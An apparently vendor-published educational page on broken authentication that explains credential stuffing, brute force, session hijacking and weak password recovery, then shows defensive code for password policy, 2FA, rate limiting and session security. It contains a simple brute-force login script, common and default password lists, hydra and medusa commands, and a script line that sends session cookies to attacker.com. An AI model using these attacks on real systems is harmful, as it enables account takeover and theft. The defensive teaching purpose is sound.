#
Broken Authentication
CRITICAL SEVERITY OWASP TOP 10 #2 ACCOUNT TAKEOVER
#
Overview
Broken Authentication vulnerabilities allow attackers to compromise passwords, keys, session tokens, or exploit other authentication flaws to assume the identities of legitimate users.
In One Sentence
Attackers bypass or break the login system to access accounts they shouldn't have access to.
#
Simple Explanation
#
Real-World Analogy
Imagine a bank that has a weak identification process:
- Requires government ID + PIN + signature
- Limits failed attempts (3 strikes and locked out)
- Notifies you of unusual activity
- Times out inactive sessions
- Only asks for account number (no password)
- Allows unlimited password guessing
- Never logs you out
- Doesn't notice if someone in another country accesses your account
- Uses easily guessable security questions ("What's your mother's maiden name?")
#
In the Digital World
Broken Authentication = Any weakness in how a website verifies "you are who you say you are."
- Weak password policies
- No limit on login attempts
- Poor session management
- Missing multi-factor authentication
- Insecure password recovery
#
Types of Authentication Attacks
#
1. Credential Stuffing
Using username/password pairs stolen from one website to access accounts on other websites
- Data breach occurs: Hacker steals 100 million passwords from Website A
- Passwords leaked: Credentials posted on dark web
- Attacker downloads list: Gets username/password combinations
- Automated testing: Uses bots to try these credentials on Website B, C, D...
- Success: Many people reuse passwords, so thousands of accounts compromised
Website A (breached in 2020):
- user@email.com : Password123!
Attacker's bot tries on other sites:
- Amazon.com: user@email.com : Password123! ✓ SUCCESS
- Netflix.com: user@email.com : Password123! ✓ SUCCESS
- Bank.com: user@email.com : Password123! ✓ SUCCESS
Studies show 65% of people reuse passwords across multiple sites
#
:icon-lock-open: 2. Brute Force Attacks
Systematically trying every possible password until finding the right one
Try every possible combination:
a, b, c, ... aa, ab, ac, ... aaa, aab, aac, ...
password, password1, password123, ...
Try common passwords from a list:
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
Common words + numbers/symbols:
password1
password123
password!
Password1
P@ssword1
# Attacker's script (simplified)
import requests
common_passwords = [
'123456', 'password', 'qwerty', '12345678',
'111111', '123456789', 'admin', 'letmein'
]
for password in common_passwords:
response = requests.post('https://target.com/login', data={
'username': 'admin',
'password': password
})
if 'Login successful' in response.text:
print(f"SUCCESS! Password is: {password}")
break
Without rate limiting, this can try thousands of passwords per second.
#
3. Session Hijacking
Stealing someone's active session to access their account without knowing their password
1. User logs in → Server creates session ID → Sends cookie to browser
2. Browser stores: session_id=abc123xyz
3. Every request includes this cookie
4. Server recognizes user by session ID
https://bank.com/dashboard?session_id=abc123xyz
Attacker sees URL, copies session ID, gains access.
// Attacker injects script on website
document.location='http://attacker.com/steal?cookie='+document.cookie;
Steals session cookie and sends to attacker.
If site doesn't use HTTPS, attacker on same WiFi network can intercept session cookies.
#
4. Weak Password Recovery
Exploiting flaws in "Forgot Password" features
Q: What's your mother's maiden name?
A: Publicly available on social media
Q: What city were you born in?
A: Often shared online
Q: What's your pet's name?
A: Posted in Instagram photos
Reset link: https://site.com/reset?token=1001
Attacker tries: https://site.com/reset?token=1002, 1003, 1004...
Finds valid tokens and resets other users' passwords
Reset email sent → User ignores it → Token works forever
Attacker finds old email → Uses reset link months later
#
5. Default Credentials
Using manufacturer default usernames/passwords that were never changed
admin : admin
admin : password
root : root
administrator : password123
admin : 1234
Real Example
Mirai botnet (2016) compromised 600,000 IoT devices using just 60 default username/password combinations.
#
Real-World Examples
#
Case Study 1: Dunkin' Donuts (2018)
Credential stuffing using passwords from other breaches
- Thousands of DD Perks accounts compromised
- Stored payment cards stolen
- Rewards points fraudulently used
- Attackers used credentials leaked from other breaches
- Automated bots tested these credentials on Dunkin's website
- No rate limiting allowed millions of login attempts
- Successful logins allowed gift card redemption
# No protection against automated login attempts
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
login_user(user)
return redirect('/dashboard')
return "Invalid credentials"
#
Case Study 2: GitHub Token Scanning (2021)
Session hijacking via exposed access tokens
- Attackers accessed private repositories
- Source code stolen
- OAuth tokens compromised
- Developers accidentally committed access tokens to public repos
- Attackers used automated tools to scan GitHub for exposed tokens
- Valid tokens used to access private resources
- No token expiration policy allowed long-term abuse
#
Case Study 3: Ring Camera (2019)
Credential stuffing + no 2FA requirement
- Attackers accessed home security cameras
- Harassed families through camera speakers
- Major privacy violations
- Users reused passwords from breached sites
- Ring didn't enforce 2FA by default
- Attackers used credential stuffing bots
- Successfully accessed cameras in people's homes
#
Prevention & Mitigation
#
1. Strong Password Policies
Enforce complexity requirements and check against breach databases
import re
from password_strength import PasswordPolicy
policy = PasswordPolicy.from_names(
length=12, # Minimum 12 characters
uppercase=1, # At least 1 uppercase
lowercase=1, # At least 1 lowercase
numbers=1, # At least 1 number
special=1, # At least 1 special char
nonletters=2, # At least 2 non-letters
)
# Common password blacklist
COMMON_PASSWORDS = [
'123456', 'password', 'qwerty', '12345678',
'111111', '123456789', 'letmein', 'admin'
# ... thousands more
]
def validate_password(password):
# Check policy
if not policy.test(password):
return False, "Password doesn't meet complexity requirements"
# Check against common passwords
if password.lower() in COMMON_PASSWORDS:
return False, "Password is too common"
# Check against breached passwords
if is_password_breached(password):
return False, "Password found in known data breaches"
return True, "Password is strong"
def is_password_breached(password):
import hashlib
import requests
# Hash password (k-anonymity model)
sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
prefix = sha1[:5]
suffix = sha1[5:]
# Query haveibeenpwned API
url = f'https://api.pwnedpasswords.com/range/{prefix}'
response = requests.get(url)
# Check if hash suffix appears in response
return suffix in response.text
- Minimum 12 characters (longer is better)
- Mix of uppercase, lowercase, numbers, symbols
- No dictionary words
- Not found in breach databases
- No personal information (name, birthday, etc.)
- Different from previous passwords
#
2. Multi-Factor Authentication (2FA)
Even if password is stolen, attacker can't access account without second factor
import pyotp
import qrcode
def setup_2fa(user):
# Generate secret key
secret = pyotp.random_base32()
# Store secret for user
user.totp_secret = secret
user.save()
# Generate QR code for authenticator app
totp_uri = pyotp.totp.TOTP(secret).provisioning_uri(
name=user.email,
issuer_name='YourApp'
)
qr = qrcode.make(totp_uri)
return qr
def verify_2fa_code(user, code):
totp = pyotp.TOTP(user.totp_secret)
return totp.verify(code, valid_window=1)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
if not user:
return "Invalid credentials", 401
if user.has_2fa_enabled:
# Require 2FA code
session['pending_2fa_user_id'] = user.id
return redirect('/2fa-verify')
login_user(user)
return redirect('/dashboard')
@app.route('/2fa-verify', methods=['POST'])
def verify_2fa():
user_id = session.get('pending_2fa_user_id')
user = User.query.get(user_id)
code = request.form['code']
if verify_2fa_code(user, code):
login_user(user)
session.pop('pending_2fa_user_id')
return redirect('/dashboard')
return "Invalid 2FA code", 401
- TOTP (Time-based One-Time Passwords) - Most secure, app-based
- SMS codes - Convenient but less secure
- Hardware tokens (WebAuthn/FIDO2) - Most secure for enterprises
- Backup codes - For account recovery
#
3. Rate Limiting and Account Lockout
Prevent brute force attacks by limiting login attempts
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from datetime import datetime, timedelta
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]
)
# Track failed login attempts
class LoginAttempt:
def __init__(self):
self.attempts = {} # {username: [(timestamp, ip), ...]}
def record_failure(self, username, ip):
if username not in self.attempts:
self.attempts[username] = []
# Clean old attempts (>1 hour)
cutoff = datetime.now() - timedelta(hours=1)
self.attempts[username] = [
(ts, ip) for ts, ip in self.attempts[username]
if ts > cutoff
]
self.attempts[username].append((datetime.now(), ip))
def is_locked(self, username):
if username not in self.attempts:
return False
# Lock after 5 failed attempts in 1 hour
return len(self.attempts[username]) >= 5
login_attempts = LoginAttempt()
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # Rate limit per IP
def login():
username = request.form['username']
password = request.form['password']
# Check if account is locked
if login_attempts.is_locked(username):
unlock_time = login_attempts.get_lockout_time(username)
remaining = (unlock_time - datetime.now()).seconds // 60
return f"Account locked. Try again in {remaining} minutes.", 429
# Authenticate
user = User.query.filter_by(username=username).first()
if not user or not user.check_password(password):
# Record failed attempt
login_attempts.record_failure(username, request.remote_addr)
# Get remaining attempts
remaining_attempts = 5 - len(login_attempts.attempts.get(username, []))
return f"Invalid credentials. {remaining_attempts} attempts remaining.", 401
# Success - clear failed attempts
if username in login_attempts.attempts:
del login_attempts.attempts[username]
login_user(user)
return redirect('/dashboard')
- Limit attempts per IP address (e.g., 5 per minute)
- Limit attempts per username (e.g., 5 per hour)
- Lock account after repeated failures (e.g., 30 minutes)
- Use progressive delays (1s, 2s, 4s, 8s...)
- Implement CAPTCHA after suspicious activity
#
4. Secure Session Management
Use cryptographically strong session IDs with proper security settings
from flask import Flask, session
import secrets
import redis
from datetime import timedelta
app = Flask(__name__)
# Use cryptographically secure secret key
app.secret_key = secrets.token_hex(32)
# Server-side session storage
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')
app.config['SESSION_PERMANENT'] = True
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)
# Cookie security settings
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JavaScript access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
from flask_session import Session
Session(app)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
if user:
# Generate new session ID (prevent session fixation)
session.regenerate()
# Store minimal data in session
session['user_id'] = user.id
session['login_time'] = datetime.now().isoformat()
session['ip_address'] = request.remote_addr
return redirect('/dashboard')
return "Invalid credentials", 401
@app.before_request
def check_session():
if 'user_id' in session:
# Verify IP hasn't changed (optional, may cause issues with mobile)
if session.get('ip_address') != request.remote_addr:
session.clear()
return redirect('/login?reason=ip_changed')
# Check idle timeout (30 minutes)
last_activity = session.get('last_activity')
if last_activity:
idle_time = datetime.now() - datetime.fromisoformat(last_activity)
if idle_time > timedelta(minutes=30):
session.clear()
return redirect('/login?reason=timeout')
# Update last activity
session['last_activity'] = datetime.now().isoformat()
#
Detection & Testing
#
Testing Checklist
- Can you create account with weak password? (test: "123456")
- Are common passwords blocked? (test top 1000 list)
- Is there minimum length requirement?
- Are special characters required?
- Can you reuse old passwords?
- Is there account lockout after failed attempts?
- Are there CAPTCHAs after suspicious activity?
- Is IP-based rate limiting in place?
- Do delays increase after failed attempts?
- Are session IDs long and random?
- Do sessions expire after logout?
- Is there idle timeout?
- Are concurrent sessions allowed?
- Can you reuse old session IDs?
- Is 2FA available?
- Is 2FA enforced for sensitive actions?
- Are backup codes provided?
- Can 2FA be easily bypassed?
#
Testing Tools
Brute force password testing with wordlists
# Fast network authentication cracker
hydra -l admin -P passwords.txt https-post-form \
"target.com/login:username=^USER^&password=^PASS^:Invalid"
Automated authentication testing scanner
# Parallel brute force tool
medusa -h target.com -u admin -P passwords.txt -M web-form
#
Security Checklist
#
Development
- Enforce strong password policies (12+ characters, complexity)
- Check passwords against breach databases
- Implement multi-factor authentication
- Use rate limiting on login endpoints
- Lock accounts after repeated failures
- Generate cryptographically strong session IDs
- Regenerate session ID after login
- Set secure cookie flags (Secure, HttpOnly, SameSite)
- Implement idle and absolute session timeouts
- Use server-side session storage
#
Infrastructure
- Enable HTTPS everywhere
- Use Web Application Firewall (WAF)
- Monitor for credential stuffing patterns
- Implement IP reputation blocking
- Log all authentication events
- Alert on suspicious activities
- Regular security audits
#
Testing
- Test with common password lists
- Attempt brute force attacks
- Test session management vulnerabilities
- Verify 2FA cannot be bypassed
- Test password reset functionality
- Check for username enumeration
- Penetration testing for authentication flaws
#
Key Takeaways
Primary Defenses
- Strong password policies - Minimum 12 characters, complexity requirements, breach database checks
- Multi-factor authentication - Mandatory for all users, especially sensitive accounts
- Rate limiting - Prevent brute force with account lockouts and progressive delays
- Secure sessions - Cryptographically strong IDs, proper flags, timeouts
Critical Points
- Broken authentication is #2 in OWASP Top 10 - leads to complete account takeover
- 65% of users reuse passwords - credential stuffing is highly effective
- Default credentials are still a major issue in IoT and enterprise systems
- Session hijacking can bypass even strong passwords
Best Practices
- Never store passwords in plain text - use bcrypt/Argon2
- Implement defense in depth with multiple layers
- Monitor for unusual authentication patterns
- Educate users about password security
- Regular security testing and audits
#
References & Resources
#
Official Documentation
- OWASP Authentication Cheat Sheet
- NIST Digital Identity Guidelines
- CWE-287: Improper Authentication
- Have I Been Pwned API
#
Testing Tools
- Burp Suite - Authentication Testing
- Hydra - Network Login Cracker
- OWASP ZAP - Authentication Scanner
- Medusa - Parallel Login Brute-Forcer
#
Learning Resources
- PortSwigger Web Security Academy - Authentication
- OWASP Testing Guide - Authentication
- HackTricks - Authentication Bypass
#
Layerd AI Protection
Layerd AI Guardian Proxy strengthens authentication:
- Credential stuffing detection - ML identifies automated login attempts
- Behavioral analysis - Detects unusual authentication patterns
- Real-time blocking - Prevents brute force and enumeration attacks
- Automatic rate limiting - Dynamic throttling based on threat level
Learn more about Layerd AI Protection →
Remember: Broken authentication is one of the most critical vulnerabilities. Always implement strong password policies, multi-factor authentication, rate limiting, and secure session management to protect user accounts.
Defense in depth is essential - use multiple authentication security layers!
Last updated: November 2025